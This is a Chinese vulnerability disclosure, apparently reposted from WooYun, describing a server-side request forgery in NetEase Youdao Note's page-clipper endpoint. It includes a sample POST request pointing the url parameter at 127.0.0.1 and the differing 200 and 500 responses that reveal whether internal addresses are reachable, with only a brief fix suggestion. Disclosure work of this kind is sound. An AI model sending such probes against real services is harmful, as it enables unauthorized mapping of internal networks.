神刀安全网

网易SSRF可探测内网

简要描述:

初探内网

详细说明:

漏洞地址:http://note.youdao.com/memory/?url=http://www.wooyun.org(如需登录,请注册登录)

正文预览的地方会读取URL地址的

code 区域
<meta name="description" content=""/>

content的内容作为显示

跟踪起网页的跳转到达

code 区域
POST /yws/open/memory?method=content HTTP/1.1
Host: note.youdao.com
Proxy-Connection: keep-alive
Content-Length: 20
Accept: application/json, text/javascript, */*
Origin: http://note.youdao.com
X-Requested-With: XMLHttpRequest
Cookie:

url=http://127.0.0.1

(参数做了精减,请自行抓包)

根据URL地址的可不可到达 结果类似如下

到达:

code 区域
HTTP/1.1 200 OK
Server: Tengine
Date: Wed, 14 Jan 2015 15:38:44 GMT
Content-Type: text/json; charset=UTF-8
Content-Length: 41
Connection: close
Pragma: no-cache
Cache-Control: no-cache, no-store, must-revalidate
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Language: zh-CN
Cache-Control: no-cache

{"content":"","title":null,"type":"NONE"}

(如又content内网,会显示内容,没有内容可地址存在就是这个情况,可测试www.wooyun.org–有content www.baidu.com--没有content)

若不可到达:

code 区域
HTTP/1.1 500 Internal Server Error
Server: Tengine
Date: Thu, 15 Jan 2015 00:57:34 GMT
Content-Type: text/json; charset=UTF-8
Content-Length: 157
Connection: close
RES-CODE: 213
Pragma: no-cache
Cache-Control: no-cache, no-store, must-revalidate
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Language: zh-CN

{"message":"Message[DATA_TRANSMISSION_FAILURE]: Page Clipper Exception, URL=http://127.0.0.1","canTryAgain":false,"scope":"PREVIOUS_EXCEPTION","error":"213"}

漏洞证明:

网易SSRF可探测内网

网易SSRF可探测内网

网易SSRF可探测内网

网易SSRF可探测内网

修复方案:

过滤、限制

版权声明:神刀安全网转自 he1renyagao@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 网易SSRF可探测内网

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮